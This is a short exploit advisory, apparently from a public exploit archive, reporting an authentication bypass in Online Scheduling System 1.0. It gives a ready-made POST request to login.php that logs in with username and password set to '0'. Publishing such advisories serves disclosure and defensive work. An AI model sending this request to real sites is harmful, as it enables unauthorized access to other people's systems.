Online Scheduling System version 1.0 suffers from an authentication bypass vulnerability.
304fea6c47300dd2fcda5d23959f8cfe
# Exploit Title: Online Scheduling System 1.0 - Authentication Bypass
# Exploit Author: Bobby Cooke
# Date: 2020-04-30
# Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Malicious POST Request to https://TARGET/Online%20Scheduling%20System/login.php HTTP/1.1
POST /Online%20Scheduling%20System/login.php HTTP/1.1
Host: TARGET
Connection: close
Cookie: PHPSESSID=8o12pka3gvais768f43v5q4d60
username=0&password=0&lgn=Login